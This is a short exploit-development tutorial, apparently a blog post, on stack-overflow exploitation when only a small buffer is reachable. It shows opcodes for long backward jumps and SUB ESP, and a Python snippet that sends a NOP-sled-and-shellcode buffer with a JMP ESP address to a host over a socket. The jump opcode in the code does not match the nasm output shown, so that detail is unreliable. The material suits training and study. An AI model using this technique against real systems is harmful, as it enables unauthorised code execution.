Dealing with Small Buffer Space

When dealing with a stack overflow, you may find that CPU registers only point to small areas of attacker-controlled memory. In this instance, relative JMP instructions can be utilized to move to a larger buffer space.

Jumping in this manner causes issues with Meterpreter x86/shikata_ga_nai encoder shellcode, as it uses the ESP value to determine a location to write the decoded data to the stack. This can result in the encoder being overwritten, or another area of memory used by the program.

In this instance, you will most likely receive an access violation error (c0000005) in debugger output.

To correct this problem, ESP can be decremented so it’s points to a NOP sled area which can safely be overwritten.

msf-nasm_shell can be used to determine the opcode for a jump backwards 700 bytes:

nasm > jmp $-700
00000000  E93FFDFFFF        jmp 0xfffffd44

This should land in a NOP sled leading to SUB ESP instructions. To avoid null bytes, multiple operations are performed to decrement ESP 800 bytes, before the shellcode is executed:

nasm > sub esp, 100
00000000  83EC64            sub esp,byte +0x64

Example code to demonstrate the concept:

jmp_esp = b"\x3d\x11\x70\x14"               # 0x1470113d JMP ESP
sub_esp = b"\x83\xEC\x64\x90"               # 100 bytes sub esp, 100
long_jump_back = b"\xe9\xcb\xfd\xff\xff"    # 700 bytes long jump
nop_sled = b"\x90" * 1697

buffer = nop_sled + sub_esp * 8 + shellcode +  jmp_esp  + long_jump_back
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.1", 8888))
s.send(buffer)
s.close() 

Alternatively, a register can be updated using SUB or ADD instructions so they point to the location of shellcode, followed by a JMP will achieve the same effect. It’s best to pad the shellcode with a lot of NOP’s when doing this to prevent the decoder overwriting itself.

In addition, it’s worth noting that if your initial buffer space is around 40 bytes, it’s probably better to use an egg hunter.